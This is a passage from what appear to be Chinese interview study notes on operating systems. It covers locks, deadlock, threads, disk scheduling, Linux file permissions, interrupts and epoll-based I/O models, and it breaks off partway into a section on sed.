V操作\n\nV操作记为V(s)，其中s为一信号量，它执行时，主要完成以下动作：\n\n```\ns.value = s.value + 1；/*可理解为归还1个资源，若原来就没有则意义是用此资源还1个欠帐*/\n```\n\n若`s.value > 0`，则进程继续执行，否则（即s.value ≤ 0），则从信号量s的等待队s.queue中移出第一个进程，使其变为就绪状态，然后返回原进程继续执行\n\n> 实际上，V操作可以理解为归还资源的计数器，或是唤醒进程使其处于就绪状态的控制指令      \n\n#### 锁\n\n  - **互斥锁**：同一时间只能有一个线程访问加锁的数据。\n  - **自旋锁**：互斥锁的一种实现，如果自旋锁已经被别的执行单元保持，调用者就一直 **循环等待** 是否该自旋锁的保持者已经释放了锁。\n  - **读写锁**：一种特殊的自旋锁，它把对共享资源的访问者划分成读者和写者，读者只对共享资源进行读访问，写者则需要对共享资源进行写操作。**写者是排他性的，一个读写锁同时只能有一个写者或多个读者（与CPU数相关），但不能同时既有读者又有写者**。\n  - **阻塞锁**：与自旋锁不同，改变了线程的运行状态。**让线程进入阻塞状态进行等待，当获得相应的信号（唤醒，时间） 时，才可以进入线程的准备就绪状态**，准备就绪状态的所有线程，通过竞争，进入运行状态。\n\n  > 在Java中synchronized,ReentrantLock,Object.wait() / notify()都属于阻塞锁。\n\n  - **可重入锁**：也叫做递归锁，指的是同一线程上该锁是可重入的，对于不同线程则相当于普通的互斥锁。\n  - **公平锁**：加锁前检查是否有排队等待的线程，优先排队等待的线程，先来先得。\n  - **非公平锁**：加锁时不考虑排队等待问题，直接尝试获取锁，获取不到自动到队尾等待。`ReentrantLock`中的`lock()`默认就是非公平锁。\n  - **悲观锁**：假定会发生并发冲突，屏蔽一切可能违反数据完整性的操作。加锁的时间可能会很长，也就是说悲观锁的并发访问性不好。\n  - **乐观锁**：假设不会发生并发冲突，只在提交操作时检查是否违反数据完整性。乐观锁不能解决脏读的问题，可以通过添加时间戳和版本来来解决。\n\n##### CAS\n\n**比较并交换(compare and swap, CAS)**，是原子操作的一种，可用于在多线程编程中实现不被打断的数据交换操作。**该操作通过将内存中的值与指定数据进行比较，当数值一样时将内存中的数据替换为新的值**。\n\n在使用上，通常会记录下某块内存中的旧值，通过对旧值进行一系列的操作后得到新值，然后通过CAS操作将新值与旧值进行交换。**如果这块内存的值在这期间内没被修改过，则旧值会与内存中的数据相同，这时CAS操作将会成功执行使内存中的数据变为新值**。如果内存中的值在这期间内被修改过，则一般来说旧值会与内存中的数据不同，这时CAS操作将会失败，新值将不会被写入内存。\n\n#### 死锁\n\n死锁是指多个进程因循环等待资源而造成无法执行的现象。死锁会造成进程无法执行，同时会造成系统资源的极大浪费(资源无法释放)。\n\n##### 死锁产生的四个必要条件\n\n  - `互斥使用`：指进程对所分配到的资源进行排它性使用，即在一段时间内某资源只由一个进程占用。如果此时还有其它进程请求资源，则请求者只能等待，直至占有资源的进程用毕释放。\n\n  - `不可抢占`：指进程已获得的资源，在未使用完之前，不能被剥夺，只能在使用完时由自己释放。\n\n  - `请求和保持`：指进程已经保持至少一个资源，但又提出了新的资源请求，而该资源已被其它进程占有，此时请求进程阻塞，但又对自己已获得的其它资源保持不放。\n\n  - `循环等待`：指在发生死锁时，必然存在一个进程——资源的环形链，即进程集合{P0，P1，P2，···，Pn}中的P0正在等待一个P1占用的资源；P1正在等待P2占用的资源，……，Pn正在等待已被P0占用的资源。\n\n##### 死锁避免\n\n银行家算法：判断此次请求是否造成死锁若会造成死锁，则拒绝该请求。\n\n### 进程间通信\n\n本地进程间通信的方式有很多，可以总结为下面四类：\n\n  - 消息传递（管道、FIFO、消息队列）\n  - 同步（互斥量、条件变量、读写锁、文件和写记录锁、信号量）\n  - 共享内存（匿名的和具名的）\n  - 远程过程调用（Solaris门和Sun RPC）\n\n## 线程\n\n线程是 **操作系统能够进行运算调度的最小单位。它被包含在进程之中，是进程中的实际运作单位**。一条线程指的是进程中一个单一顺序的控制流，一个进程中可以并发多个线程，每条线程并行执行不同的任务。在Unix System V及SunOS中也被称为`轻量进程(lightweight processes)`，但轻量进程更多指`内核线程(kernel thread)`，而把`用户线程(user thread)`称为线程。\n\n线程是独立调度和分派的基本单位。线程可以操作系统内核调度的内核线程，如`Win32线程`；由用户进程自行调度的用户线程，如Linux平台的POSIX `Thread`；或者由内核与用户进程，如`Windows 7的线程`，进行混合调度。\n\n同一进程中的多条线程将共享该进程中的全部系统资源，如虚拟地址空间，文件描述符和信号处理等等。但同一进程中的多个线程有各自的调用栈，自己的寄存器环境，自己的线程本地存储。\n\n### 线程的属性：\n\n  - **轻型实体**：线程中的实体基本上不拥有系统资源，只是有一点必不可少的、能保证独立运行的资源。线程的实体包括程序、数据和TCB。线程是动态概念，它的动态特性由线程控制块TCB（Thread Control Block）描述。TCB包括以下信息：\n\n    - 线程状态。\n    - 当线程不运行时，被保存的现场资源。\n    - 一组执行堆栈。\n    - 存放每个线程的局部变量主存区。\n    - 访问同一个进程中的主存和其它资源。\n\n    用于指示被执行指令序列的程序计数器、保留局部变量、少数状态参数和返回地址等的一组寄存器和堆栈。\n\n  - **独立调度和分派的基本单位**：在多线程OS中，线程是能独立运行的基本单位，因而也是独立调度和分派的基本单位。由于线程很“轻”，故线程的切换非常迅速且开销小（在同一进程中的）。\n\n  - **可并发执行**：在一个进程中的多个线程之间，可以并发执行，甚至允许在一个进程中所有线程都能并发执行；同样，不同进程中的线程也能并发执行，充分利用和发挥了处理机与外围设备并行工作的能力。\n\n  - **共享进程资源**：在同一进程中的各个线程，都可以共享该进程所拥有的资源，这首先表现在：所有线程都具有相同的地址空间（进程的地址空间），这意味着，线程可以访问该地址空间的每一个虚地址；此外，还可以访问进程所拥有的已打开文件、定时器、信号量机构等。由于同一个进程内的线程共享内存和文件，所以线程之间互相通信不必调用内核。\n\n  > 线程共享的环境包括：进程代码段、进程的公有数据(利用这些共享的数据，线程很容易的实现相互之间的通讯)、进程打开的文件描述符、信号的处理器、进程的当前目录和进程用户ID与进程组ID。\n\n线程是程序执行的一条路径，在多线程的OS中，线程是调度和分配的基本单位，而进程是拥有资源的基本单位。\n"
  },
  {
    "path": "docs/android/interview/basic/op/device.md",
    "content": "# 设备管理\n\n外部设备分为两大类：\n\n  - **存储型设备**：以存储大量信息和快速检索为目标，在系统中存储持久性信息。\n  - **I/O型设备**：如显示器、打印机等。\n\n## I/O硬件原理\n\n### I/O系统\n\n通常把I/O设备及其接口线路、控制部件、通道和管理软件称为I/O系统，把计算机的内存和设备介质之间的信息传送操作称为I/O操作。可按照不同方式对设备进行分类：按I/O操作特性分为输入型设备、输出型设备和存储型设备；按I/O信息交换单位分为字符设备和块设备。\n\n> 输入、输出型设备通常是字符设备，存储型设备通常是块设备。\n\n存储型设备又分为顺序存储设备和直接存取设备。前者严格依赖信息的物理位置进行读写和定位，如磁带。后者的特点是存取任何一个物理块所需要的时间几乎不依赖于此信息所处的位置，如磁盘。\n\n### I/O控制方式\n\n#### 轮询方式\n\n轮询方式又称程序直接控制方式，使用查询指令测试设备控制器的忙闲状态位，确定内存和设备是否能交换数据。轮询方式采用三条指令：查询指令，查询设备是否就绪；读写指令，当设备就绪时执行数据交换；转移指令，当设备未就绪时执行转移指令指向查询指令继续查询。可见，在这种方式下CPU和设备只能串行工作。\n\n#### 中断方式\n\n在这种方式下CPU和设备之间传输数据的过程如下：\n\n  1. 进程发出启动I/O指令，CPU加载控制信息到设备控制器的寄存器，然后进程继续执行不涉及本次I/O数据的任务，或放弃CPU等待设备I/O操作完成。\n\n  2. 设备控制器检查寄存器的内容，按照I/O指令的要求执行相应I/O操作，一旦传输完成，设备控制器发出I/O中断请求信号。\n\n  3. CPU收到并响应I/O中断后，转向设备的I/O中断处理程序执行。\n\n  4. 中断处理程序执行数据读取操作，将I/O缓冲寄存器的内容写入内存，操作结束后退出中断处理程序，返回发生中断前的状态。\n\n  5. 进程调度程序在适当的时候让得到数据的进程恢复执行。\n\n在I/O中断方式中，如果设备控制器的数据缓冲区较小，当缓冲器装满后便会发生中断，那么在数据传输过程中发生中断次数会很多，这样就消耗了大量CPU时间。\n\n#### DMA方式\n\n虽然中断方式提高了CPU利用率，但是在响应中断请求后必须停止现行程序，转入中断处理程序并参与数据传输操作。在`DMA(Direct Memory Access)`方式中，内存和设备之间有一条数据通路成块地传送数据，无须CPU干预，实际数据传输操作由DMA直接完成。为实现DMA，至少需要以下逻辑部件：\n\n  1. 内存地址寄存器：存放内存中需要交换数据的地址，DMA传送之前由程序送入首地址；DMA传送过程中，每次交换数据都把地址寄存器的内容加1。\n\n  2. 字计数器：记录传送数据的总字数，每次传送一个字就把字计数器减1。\n\n  3. 数据缓冲寄存器或数据缓冲区：暂存每次传送的数据。\n\n  4. 设备地址寄存器：存放I/O信息的地址，如磁盘的柱面号。\n\n  5. 中断机制和控制逻辑：用于向CPU提出I/O中断请求及CPU发来的I/O命令，管理DMA的传送过程。\n\n#### 通道方式\n\n通道又称I/O处理器，能完成内存和设备之间的信息传送，与CPU并行地执行操作。采用I/O通道设计后，I/O操作过程如下：CPU在执行主程序时遇到I/O请求，启动在指定通道上选址的设备，一旦启动成功，通道开始控制设备进行操作，这时CPU就可以执行其他任务并与通道并行工作，直到I/O操作完成；当通道发出I/O操作结束中断时，处理器才响应并停止当前工作，转向I/O操作结束事件。\n"
  },
  {
    "path": "docs/android/interview/basic/op/disk.md",
    "content": "# 磁盘与文件\n\n## 磁盘调度\n\n磁盘访问延迟 = 队列时间 + 控制器时间 + 寻道时间 + 旋转时间 + 传输时间\n\n磁盘调度的目的是减小延迟，其中前两项可以忽略，寻道时间是主要矛盾。\n\n### 磁盘调度算法\n\n  - `FCFS`：先进先出的调度策略，这个策略具有公平的优点，因为每个请求都会得到处理，并且是按照接收到的顺序进行处理。\n\n  - `SSTF(Shortest-seek-time First 最短寻道时间优先)`：选择使磁头从当前位置开始移动最少的磁盘I/O请求，所以 SSTF 总是选择导致最小寻道时间的请求。总是选择最小寻找时间并不能保证平均寻找时间最小，但是能提供比 FCFS 算法更好的性能，会存在饥饿现象（会导致较远的I/O请求不能满足）。\n\n  - `SCAN`：SSTF+中途不回折，每个请求都有处理机会。SCAN 要求磁头仅仅沿一个方向移动，并在途中满足所有未完成的请求，直到它到达这个方向上的最后一个磁道，或者在这个方向上没有其他请求为止。由于磁头移动规律与电梯运行相似，SCAN 也被称为`电梯算法`。\n\n  > SCAN 算法对最近扫描过的区域不公平，因此，它在访问局部性方面不如 FCFS 算法和 SSTF 算法好。\n\n  - `C-SCAN`：SCAN+直接移到另一端，两端请求都能很快处理。把扫描限定在一个方向，当访问到某个方向的最后一个磁道时，磁道返回磁盘相反方向磁道的末端，并再次开始扫描。其中“C”是Circular（环）的意思。\n\n  - `LOOK(C-LOOK)`：釆用SCAN算法和C-SCAN算法时磁头总是严格地遵循从盘面的一端到另一端，显然，在实际使用时还可以改进，**即磁头移动只需要到达最远端的一个请求即可返回，不需要到达磁盘端点**。这种形式的SCAN算法和C-SCAN算法称为LOOK和C-LOOK调度。这是因为它们在朝一个给定方向移动前会查看是否有请求。\n\n## 文件系统\n\n### 分区表\n\n  - MBR：支持最大卷为2 TB（Terabytes）并且每个磁盘最多有4个主分区（或3个主分区，1个扩展分区和无限制的逻辑驱动器）\n  - GPT：支持最大卷为18EB（Exabytes）并且每磁盘的分区数没有上限，只受到操作系统限制（由于分区表本身需要占用一定空间，最初规划硬盘分区时，留给分区表的空间决定了最多可以有多少个分区，IA-64版Windows限制最多有128个分区，这也是EFI标准规定的分区表的最小尺寸。另外，GPT分区磁盘有备份分区表来提高分区数据结构的完整性。\n\n### RAID 技术\n\n磁盘阵列（Redundant Arrays of Independent Disks，RAID），独立冗余磁盘阵列之。原理是利用数组方式来作磁盘组，配合数据分散排列的设计，提升数据的安全性。\n\n### 常见文件系统\n\n* Windows: FAT, FAT16, FAT32, NTFS\n* Linux: ext2/3/4, btrfs, ZFS\n* Mac OS X: HFS+\n\n### Linux文件权限\n\nLinux文件采用10个标志位来表示文件权限，如下所示：\n\n```\n-rw-r--r--  1 skyline  staff    20B  1 27 10:34 1.txt\ndrwxr-xr-x   5 skyline  staff   170B 12 23 19:01 ABTableViewCell\n```\n\n第一个字符一般用来区分文件和目录，其中：\n\n  - d：表示是一个目录，事实上在ext2fs中，目录是一个特殊的文件。\n  - －：表示这是一个普通的文件。\n  - l: 表示这是一个符号链接文件，实际上它指向另一个文件。\n  - b、c：分别表示区块设备和其他的外围设备，是特殊类型的文件。\n  - s、p：这些文件关系到系统的数据结构和管道，通常很少见到。\n\n第2～10个字符当中的每3个为一组，左边三个字符表示所有者权限，中间3个字符表示与所有者同一组的用户的权限，右边3个字符是其他用户的权限。\n\n这三个一组共9个字符，代表的意义如下：\n\n  - r(Read，读取)：对文件而言，具有读取文件内容的权限；对目录来说，具有浏览目录的权限\n  - w(Write,写入)：对文件而言，具有新增、修改文件内容的权限；对目录来说，具有删除、移动目录内文件的权限。\n  - x(eXecute，执行)：对文件而言，具有执行文件的权限；对目录来说该用户具有进入目录的权限。\n\n权限的掩码可以使用十进制数字表示：\n\n  - 如果可读，权限是二进制的100，十进制是4；\n  - 如果可写，权限是二进制的010，十进制是2；\n  - 如果可运行，权限是二进制的001，十进制是1；\n\n#### chmod命令\n\nchmod命令非常重要，用于改变文件或目录的访问权限。用户用它控制文件或目录的访问权限。\n\n该命令有两种用法。一种是包含字母和操作符表达式的文字设定法；另一种是包含数字的数字设定法。\n\n1. 文字设定法\n\n  chmod ［who］ ［+ | - | =］ ［mode］ 文件名\n\n  命令中各选项的含义为：\n\n  操作对象who可是下述字母中的任一个或者它们的组合：\n\n  * u 表示“用户（user）”，即文件或目录的所有者。\n  * g 表示“同组（group）用户”，即与文件属主有相同组ID的所有用户。\n  * o 表示“其他（others）用户”。\n  * a 表示“所有（all）用户”。它是系统默认值。\n\n  操作符号可以是：\n\n  * + 添加某个权限。\n  * - 取消某个权限。\n  * = 赋予给定权限并取消其他所有权限（如果有的话）。\n\n\n  设置mode所表示的权限可用下述字母的任意组合：\n\n  * r 可读。\n  * w 可写。\n  * x 可执行。\n  * X 只有目标文件对某些用户是可执行的或该目标文件是目录时才追加x 属性。\n  * s 在文件执行时把进程的属主或组ID置为该文件的文件属主。方式“u＋s”设置文件的用户ID位，“g＋s”设置组ID位。\n  * t 保存程序的文本到交换设备上。\n  * u 与文件属主拥有一样的权限。\n  * g 与和文件属主同组的用户拥有一样的权限。\n  * o 与其他用户拥有一样的权限。\n\n  文件名：以空格分开的要改变权限的文件列表，支持通配符。\n\n  在一个命令行中可给出多个权限方式，其间用逗号隔开。例如：`chmod g+r，o+r example` 使同组和其他用户对文件example 有读权限。\n\n2. 数字设定法\n\n  直接使用数字表示的权限来更改：\n\n  ```\n  例： $ chmod 644 mm.txt\n  ```\n\n\n#### chgrp命令\n\n功能：改变文件或目录所属的组。\n\n语法：chgrp ［选项］ group filename\n\n```\n例：$ chgrp - R book /opt/local /book\n```\n\n改变/opt/local /book/及其子目录下的所有文件的属组为book。\n\n#### chown命令\n\n功能：更改某个文件或目录的属主和属组。这个命令也很常用。例如root用户把自己的一个文件拷贝给用户xu，为了让用户xu能够存取这个文件，root用户应该把这个文件的属主设为xu，否则，用户xu无法存取这个文件。\n\n语法：chown ［选项］ 用户或组 文件\n\n说明：chown将指定文件的拥有者改为指定的用户或组。用户可以是用户名或用户ID。组可以是组名或组ID。文件是以空格分开的要改变权限的文件列表，支持通配符。\n\n```\n例：把文件shiyan.c的所有者改为wang。\n\n    chown wang shiyan.c\n```\n"
  },
  {
    "path": "docs/android/interview/basic/op/interrupt.md",
    "content": "# 中断\n\n中断（英语：Interrupt）是指 **处理器接收到来自硬件或软件的信号，提示发生了某个事件，应该被注意，这种情况就称为中断**。\n\n通常，在接收到来自外围硬件（相对于中央处理器和内存）的异步信号，或来自软件的同步信号之后，处理器将会进行相应的 *硬件／软件* 处理。发出这样的信号称为进行中断请求（interrupt request，IRQ）。**硬件中断导致处理器通过一个运行信息切换（context switch）来保存执行状态（以程序计数器和程序状态字等寄存器信息为主）；软件中断则通常作为CPU指令集中的一个指令，以可编程的方式直接指示这种运行信息切换，并将处理导向一段中断处理代码**。中断在计算机多任务处理，尤其是即时系统中尤为有用。\n\n## 中断分类\n\n### 硬件中断\n\n由硬件发出或产生的中断称为硬中断，按硬中断事件的来源和实现手段可将中断划分为外中断和内中断：\n\n  - **外中断**：又称为中断或异步中断，是指 **来自处理器以外的中断信号，包括时钟中断、键盘中断、外部设备中断等**。外中断又分为可屏蔽中断和不可屏蔽中断，各个中断具有不同的优先级，表示事件的紧急程度，在处理高一级中断时，往往会部分或全部屏蔽低等级中断。\n  - **内中断**：又称为异常或同步中断（产生时必须考虑与处理器时钟同步），是指 **来自处理器内部的中断信号，通常是由于程序执行过程中，发现与当前指令关联的、不正常的或错误的事件**。内中断可以细分为：\n    - 访管中断，由执行系统调用而引起的。\n    - 硬件故障中断，如电源失效、总线超时等。\n    - 程序性中断，如非法操作、地址越界、除数为0和浮点溢出等。\n\n### 软件中断\n\n软件中断：是一条CPU指令，用以自陷一个中断。由于 **软中断指令通常要运行一个切换CPU至内核态（Kernel Mode/Ring 0）的子例程，它常被用作实现系统调用（System call）**。\n\n处理器通常含有一个内部中断屏蔽位，并允许通过软件来设定。一旦被设定，所有外部中断都将被系统忽略。这个屏蔽位的访问速度显然快于中断控制器上的中断屏蔽寄存器，因此可提供更快速地中断屏蔽控制。\n\n中断尽管可以提高计算机处理性能，但 **过于密集的中断请求／响应反而会影响系统性能。这类情形被称作中断风暴（interrupt storm）**。\n"
  },
  {
    "path": "docs/android/interview/basic/op/io.md",
    "content": "# I/O\n\n## 基本概念\n\n### 文件描述符fd\n\n文件描述符（`File descriptor`）是计算机科学中的一个术语，是一个用于表述指向文件的引用的抽象化概念。\n\n文件描述符在形式上是一个非负整数。实际上，它是一个索引值，指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时，内核向进程返回一个文件描述符。在程序设计中，一些涉及底层的程序编写往往会围绕着文件描述符展开。但是文件描述符这一概念往往只适用于 `UNIX、Linux` 这样的操作系统。\n\n### 缓存 I/O\n\n缓存 `I/O` 又被称作标准 `I/O`，大多数文件系统的默认 `I/O` 操作都是缓存 `I/O`。在 `Linux` 的`缓存 I/O` 机制中，操作系统会将 `I/O` 的数据缓存在文件系统的页缓存（ `page cache` ）中，也就是说，数据会先被拷贝到操作系统内核的缓冲区中，然后才会从操作系统内核的缓冲区拷贝到应用程序的地址空间。\n\n缓存 I/O 的缺点：数据在传输过程中需要在应用程序地址空间和内核进行多次数据拷贝操作，这些数据拷贝操作所带来的 `CPU` 以及内存开销是非常大的。\n\n## IO模式\n\n刚才说了，对于一次IO访问（以read举例），数据会先被拷贝到操作系统内核的缓冲区中，然后才会从操作系统内核的缓冲区拷贝到应用程序的地址空间。所以说，当一个read操作发生时，它会经历两个阶段：\n  1. 等待数据准备\n  2. 将数据从内核拷贝到进程中\n\n正式因为这两个阶段，Linux系统产生了下面五种网络模式的方案。\n  - `阻塞 I/O`（blocking IO）\n  - `非阻塞 I/O`（nonblocking IO）\n  - `I/O 多路复用`（ IO multiplexing）\n  - `信号驱动 I/O`（ signal driven IO）\n  - `异步 I/O`（asynchronous IO）\n\n> 由于signal driven IO在实际中并不常用，所以这里只提及剩下的四种 IO Model。\n\n### 阻塞IO\n\n在 `Linux` 中，默认情况下所有的 `socket` 都是 `blocking` ，一个典型的读操作流程大概是这样：\n\n![](images/359a774ea7d5d1e6ac08845023993796.png)\n\n当用户进程调用了 `recvfrom` 这个系统调用， `kernel` 就开始了 IO 的第一个阶段：准备数据（对于网络IO来说，很多时候数据在一开始还没有到达。比如，还没有收到一个完整的 `UDP` 包。这个时候 `kernel` 就要等待足够的数据到来）。这个过程需要等待，也就是说数据被拷贝到操作系统内核的缓冲区中是需要一个过程的。而在用户进程这边，整个进程会被阻塞（当然，是进程自己选择的阻塞）。当 `kernel` 一直等到数据准备好了，它就会将数据从 `kernel` 中拷贝到用户内存，然后 `kernel` 返回结果，用户进程才解除 `block` 的状态，重新运行起来。\n\n> blocking IO的特点就是在IO执行的两个阶段都被block了\n\n### 非阻塞 I/O\n\n`Linux` 下，可以通过设置 `socket` 使其变为 `non-blocking` 。当对一个 `non-blocking socket` 执行读操作时，流程是这个样子：\n\n![](images/076dcab40e2b43efa5d1aa97d96a85e2.png)\n\n当用户进程发出 `read` 操作时，如果 `kernel` 中的数据还没有准备好，那么它并不会 `block` 用户进程，而是立刻返回一个 `error` 。从用户进程角度讲 ，它发起一个 `read` 操作后，并不需要等待，而是马上就得到了一个结果。用户进程判断结果是一个 `error` 时，它就知道数据还没有准备好，于是它可以再次发送 `read` 操作。一旦 `kernel` 中的数据准备好了，并且又再次收到了用户进程的 `system call` ，那么它马上就将数据拷贝到了用户内存，然后返回。\n\n> nonblocking IO的特点是用户进程需要不断的主动询问kernel数据好了没有\n\n### IO多路复用\n\nIO多路复用就是我们说的 `select，poll，epoll` ，有些地方也称这种IO方式为 `event driven IO` 。`select/epoll` 的好处就在于单个 `process` 就可以同时处理多个网络连接的 IO 。它的基本原理就是 `select，poll，epoll` 这个 `function` 会不断的轮询所负责的所有 `socket` ，当某个 `socket` 有数据到达了，就通知用户进程。\n\n![](images/c6d2db53d71a8c76c2c9a546c5811773.png)\n\n**当用户进程调用了 select，那么整个进程会被 block**，而同时， `kernel` 会监视所有 `select` 负责的 `socket` ，当任何一个 `socket` 中的数据准备好了， `select` 就会返回。这个时候用户进程再调用 `read` 操作，将数据从 `kernel` 拷贝到用户进程。\n\n> I/O 多路复用的特点是通过一种机制一个进程能同时等待多个文件描述符，而这些文件描述符（套接字描述符）其中的任意一个进入读就绪状态，`select()` 函数就可以返回。\n\n这个图和 `blocking IO` 的图其实并没有太大的不同，事实上，还更差一些。因为这里需要使用两个 `system call` (`select` 和 `recvfrom`)，而 `blocking IO` 只调用了一个 `system call` (`recvfrom`)。但是，用 `select` 的优势在于它可以同时处理多个 `connection` 。\n\n所以，**如果处理的连接数不是很高的话，使用 `select/epoll` 的 `web server` 不一定比使用 `multi-threading + blocking IO` 的 `web server` 性能更好，可能延迟还更大**。`select/epoll` 的优势并不是对于单个连接能处理得更快，而是在于能处理更多的连接。\n\n在IO多路复用实际使用中，对于每一个socket，一般都设置成为 `non-blocking` ，但是，如上图所示，整个用户的 `process` 其实是一直被block的。只不过 `process` 是被 `select` 这个函数 `block` ，而不是被 `socket IO` 给 `block` 。\n\n#### 基本概念\n\n在 I/O 编程过程中,当需要同时处理多个客户端接入请求时，可以利用多线程或者 `I/O 多路复用` 技术进行处理。**`I/O多路复用` 技术通过把多个I/O的阻塞复用到同一个selct的阻塞上，从而使得系统在单线程的情况下可以同时处理多个客户端请求**。**与传统的 `多线程/多进程` 模型比，I/O多路复用的最大优势是系统开销小，系统不需要创建新的额外进程或者线程，也不需要维护这些进程和线程的运行，降低了系统的维护工作量，节省了系统资源**，I/O多路复用的主要应用场景如下。\n\n  - 服务器需要同时处理多个处于监听状态或者多个连接状态的套接字\n  - 服务器需要同时处理多种网络协议的套接字\n\n目前支持I/O多路复用的系统调用有 `select、pselect、poll、epoll`，在Linux网络编程; 过程中，很长一段时间都使用 `select` 做轮询和网络事件通知，然而 `select` 的一些固有缺陷导致了它的应用受到了很大的限制。最终 `Linux` 不得不在新的内核版本中寻找 `select` 的替代方案，最终选择了 `epoll`。 `epoll` 与 `select` 的原理比较类似，为了克服 `select` 的缺点， `epoll` 作了很多重大改进，现总结如下。\n\n##### 支持一个进程打开的 socket 描述符（FD）不受限制（仅受限于操作系统的最大文件句柄数）。\n\n**`select` 最大的缺陷就是单个进程所打开的 FD 是有一定限制的**，它由 `FD_SETSIZE` 设置，默认值是 `1024` 。对于那些需要支持上万个 TCP 连接的大型服务器来说显然太少了。可以选择修改这个宏然后重新编译内核，不过这会带来网络效率的下降。我们也可以通过选择多进程的方案（传统的 Apache 方案）解决这个问题，不过虽然在 Linux上创建进程的代价比较小，但仍旧是不可忽视的，另外，进程间的数据交换非常麻烦，对于 Java 由于没有共享内存，需要通过 `Socket` 通信或者其他方式进行数据同步，这带来了额外的性能损耗，增加了程序复杂度，所以也不是一种完美的解决方案。值得庆幸的是， `epoll` 并没有这个限制，它所支持的 `FD` 上限是操作系统的 **最大文件句柄数**，这个数字远远大于 `1024` 。例如，在 `1 GB` 内存的机器上大约是 10万个句柄左右，具体的值可以通过`cat /proc/sys/fs/file- max` 察看，**通常情况下这个值跟系统的内存关系比较大**。\n\n##### I/O效率不会随着FD数目的增加而线性下降。\n\n传统的 `select/poll` 另-个致命弱点就是当你拥有一个很大的 `socket` 集合，由于网络延时或者链路空闲，任一时刻只有少部分的 `socket` 是“活跃”的，但是 **`select/poll` 每次调用都会线性扫描全部的集合，导致效率呈现线性下降**。 `epoll` 不存在这个问题，它只会对“活跃”的 `socket` 进行操作，这是因为在内核实现中 `epoll` 是根据每个 `fd` 上面的 `callback` 函数实现的，那么，只有“活跃”的 `socket` 才会主动的去调用 `callback` 函数，其他 `idle` 状态 `socket` 则不会。**在这点上， `epoll` 实现了一个伪 AIO**。针对 `epoll` 和 `select` 性能对比的 `benchmark` 测试表明：**如果所有的 `socket` 都处于活跃态，例如一个高速 `LAN` 环境， `epoll` 并不比 `select/poll` 效率高太多；相反，如果过多使用 `epoll_ ctl` , 效率相比还有稍微的下降。但是一旦使用 `idleconnections` 模拟 `WAN` 环境，`epoll` 的效率就远在 `select/poll` 之上了**。\n\n##### 使用 mmap 加速内核与用户空间的消息传递。\n\n无论是 `select`，`poll` 还是 `epoll` 都需要内核把 FD 消息通知给用户空间，如何避免不必要的内存复制就显得非常重要， `epoll` 是通过内核和用户空间 `mmap` 同一块内存实现。\n\n##### Epoll 的 API 更加简单。\n\n包括创建一个 `epoll` 描述符、添加监听事件、阻塞等待所监听的事件发生，关闭 `epoll` 描述符等。\n\n值得说明的是，用来克服 `select/poll` 缺点的方法不只有 `epoll` , `epoll` 只是一种 `Linux` 的 实现方案。在 `freeBSD` 下有 `kqueue`\n\n### Epoll 边缘触发&水平触发\n\nepoll 对文件描述符的操作有两种模式：LT（`level trigger`）和ET（`edge trigger`）。LT模式是 **默认模式** ，LT模式与ET模式的区别如下：\n\n  - **LT模式**：当 epoll_wait 检测到描述符事件发生并将此事件通知应用程序，应用程序可以不立即处理该事件。下次调用 epoll_wait 时，会再次响应应用程序并通知此事件。\n  - **ET模式**：当 epoll_wait 检测到描述符事件发生并将此事件通知应用程序，应用程序必须立即处理该事件。如果不处理，下次调用 epoll_wait 时，不会再次响应应用程序并通知此事件。\n\n> ET模式 在很大程度上减少了 epoll 事件被重复触发的次数，因此 **效率要比LT模式高**。epoll 工作在ET模式的时候，**必须使用非阻塞套接口**，以避免由于一个文件句柄的阻塞读/阻塞写操作把处理多个文件描述符的任务饿死。\n\n## 异步 I/O\n\n![](images/3b385bdf805241ee6cd0d4634bd7510a.png)\n\n用户进程发起 `read` 操作之后，立刻就可以开始去做其它的事。而另一方面，从 `kernel` 的角度，当它受到一个 `asynchronous read` 之后，首先它会立刻返回，所以不会对用户进程产生任何 `block` 。然后，`kernel` 会等待数据准备完成，然后将数据拷贝到用户内存，当这一切都完成之后，`kernel` 会给用户进程发送一个 `signal` ，告诉它 `read` 操作完成了。\n\n## blocking vs non-blocking\n\n调用 `blocking IO` 会一直 `block` 住对应的进程直到操作完成，而 `non-blocking IO` 在 `kernel` 还准备数据的情况下会立刻返回。\n\n## synchronous IO vs asynchronous IO\n在说明`synchronous IO`和`asynchronous IO`的区别之前，需要先给出两者的定义。 `POSIX` 的定义是这样子的：\n\n  - A synchronous I/O operation causes the requesting process to be blocked until that I/O operation completes;\n  - An asynchronous I/O operation does not cause the requesting process to be blocked;\n\n两者的区别就在于 `synchronous IO` 做 `IO operation` 的时候会将 `process` 阻塞。按照这个定义，之前所述的 `blocking IO，non-blocking IO，IO multiplexing` 都属于 `synchronous IO`。\n\n有人会说，`non-blocking IO` 并没有被 `block` 啊。这里有个非常 **狡猾** 的地方，定义中所指的 `IO operation` 是指真实的 IO 操作，就是例子中的 `recvfrom` 这个 `system call` 。`non-blocking IO` 在执行 `recvfrom` 这个 `system call` 的时候，如果 `kernel` 的数据没有准备好，这时候不会 `block` 进程。但是，当 `kernel` 中数据准备好的时候，`recvfrom` 会将数据从 `kernel` 拷贝到用户内存中，这个时候进程是被 `block` 了，在这段时间内，进程是被 `block` 的。\n\n而 `asynchronous IO` 则不一样，当进程发起 `IO` 操作之后，就直接返回再也不理睬了，直到 `kernel` 发送一个信号，告诉进程说IO完成。在这整个过程中，进程完全没有被 `block` 。\n\n## 参考\n\n  - [Linux IO模式及 select、poll、epoll详解](https://segmentfault.com/a/1190000003063859)\n"
  },
  {
    "path": "docs/android/interview/basic/op/linux.md",
    "content": "# Linux系统\n\n## sed\n\nsed是非交互式的编辑器。它不会修改文件，除非使用shell重定向来保存结果。默认情况下，所有的输出行都被打印到屏幕上。sed编辑器逐行处理文件（或输入），并将结果发送到屏幕。\n\n```\nsed命令行格式为：\n         sed [-nefri] ‘command’ 输入文本    \n\n常用选项：\n        -n∶使用安静(silent)模式。在一般 sed 的用法中，所有来自 STDIN的资料一般都会被列出到萤幕上。但如果加上 -n 参数后，则只有经过sed 特殊处理的那一行(或者动作)才会被列出来。\n        -e∶直接在指令列模式上进行 sed 的动作编辑；\n        -f∶直接将 sed 的动作写在一个档案内， -f filename 则可以执行 filename 内的sed 动作；\n        -r∶sed 的动作支援的是延伸型正规表示法的语法。(预设是基础正规表示法语法)\n        -i∶直接修改读取的档案内容，而不是由萤幕输出。       \n常用命令：\n        a   ∶新增， a 的后面可以接字串，而这些字串会在新的一行出现(目前的下一行)～\n        c   ∶取代， c 